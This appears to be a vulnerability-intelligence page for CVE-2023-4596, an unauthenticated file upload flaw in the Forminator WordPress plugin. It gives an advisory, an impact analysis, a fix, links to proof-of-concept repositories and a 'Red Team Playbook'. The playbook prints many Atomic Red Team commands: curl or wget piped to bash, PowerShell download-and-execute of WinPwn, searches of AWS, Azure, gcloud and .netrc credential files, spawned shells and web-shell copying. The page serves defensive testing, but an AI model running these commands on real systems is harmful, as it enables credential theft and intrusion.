CVE-2023-4596
Overview
This vulnerability is an arbitrary file upload flaw caused by improper validation timing within the Forminator plugin's upload_post_image() function. The plugin performs file type validation only after the file has been uploaded to the server, allowing malicious files to be stored before checks occur. The affected component is the file upload handling mechanism in Forminator versions up to and including 1.24.6.
Vulnerability Description
The Forminator plugin for WordPress is vulnerable to arbitrary file uploads due to file type validation occurring after a file has been uploaded to the server in the upload_post_image() function in versions up to, and including, 1.24.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can upload arbitrary files to the web server hosting the vulnerable WordPress site, potentially leading to remote code execution and full site compromise. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward over the network. This can result in data breaches, site defacement, or use of the compromised server as a pivot point for further attacks within the hosting environment.
Solution
Upgrade the Forminator plugin to version 1.24.7 or later, where the upload_post_image() function has been corrected to perform file type validation prior to file storage. Detailed patch information and remediation steps are available in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/9cd87da6-1f4c-4a15-8ebb-6e0f8ef72513) and the WordPress plugin changelog (changeset 2954409). No alternative workarounds are documented; immediate update is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The Forminator plugin for WordPress has a critical vulnerability that stems from improper file type validation during the file upload process. Specifically, the flaw exists in the upload_post_image() function, where the validation checks occur after the file has already been uploaded to the server. This oversight allows attackers to bypass security measures by uploading malicious files, which could potentially lead to remote code execution. The vulnerability is particularly severe due to its high CVSS score of 9.8, indicating a critical risk that requires immediate attention from website administrators using this plugin.
Attackers can exploit this vulnerability through a straightforward process. Since the flaw allows unauthenticated users to upload files, an attacker could craft a malicious file, such as a web shell or a script, and upload it to the server without any authentication. Once the file is on the server, the attacker can execute it, gaining control over the server or accessing sensitive data. This exploitation can be executed with minimal technical skill, making it accessible to a wide range of malicious actors. The potential for automated attacks increases the urgency for organizations to address this vulnerability, as bots could be programmed to scan for and exploit affected sites.
The real-world impact of this vulnerability can be devastating for organizations that rely on the Forminator plugin. Successful exploitation could lead to unauthorized access to sensitive information, defacement of the website, or even complete server compromise. The business risks associated with such incidents include financial loss, reputational damage, and potential legal ramifications, particularly if customer data is exposed. Organizations may also face downtime while they remediate the issue, leading to further loss of revenue and trust from users. Given the widespread use of WordPress and its plugins, the potential for mass exploitation is significant, amplifying the urgency for organizations to take proactive measures.
To detect and mitigate this vulnerability, organizations should first ensure that they are using the latest version of the Forminator plugin, as updates typically include patches for known vulnerabilities. Regularly auditing and monitoring file uploads can also help identify any unauthorized files that may have been uploaded. Implementing strict file type validation on the server-side, regardless of the plugin's internal checks, is crucial. Additionally, employing a web application firewall (WAF) can provide an extra layer of security by filtering out malicious requests before they reach the server. Organizations should also conduct regular security assessments and penetration testing to identify and address vulnerabilities proactively.
In conclusion, the vulnerability within the Forminator plugin poses a significant threat to WordPress sites, allowing for arbitrary file uploads that can lead to severe consequences. The ease of exploitation and potential for widespread impact necessitate immediate action from affected organizations. By adopting robust detection and mitigation strategies, businesses can protect themselves against this and similar vulnerabilities, ensuring the security and integrity of their web applications.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Incsub | Forminator | All |
cpe:2.3:a:incsub:forminator:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
E1A/CVE-2023-4596
PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads.
|
E1A | 24 | 5 | 2023-08-30 | View |
|
X-Projetion/CVE-2023-4596-OpenSSH-Multi-Checker
CVE-2024-6387-checker is a tool or script designed to detect the security vulnerability known as CVE-2024-6387 OpenSSH. ...
|
X-Projetion | 1 | 0 | 2024-08-06 | View |
|
X-Projetion/CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version
CVE-2023-4596 Vulnerable Exploit and Checker Version
|
X-Projetion | 0 | 0 | 2024-05-18 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-4596 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/9cd87da6-1f4c-4a15-8ebb-6e0f8ef72513?source=cve |
| exploit-db.com |
GitHub CVE
|
https://www.exploit-db.com/exploits/51664 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/2954409/forminator/trunk/library/fields/postdata.php |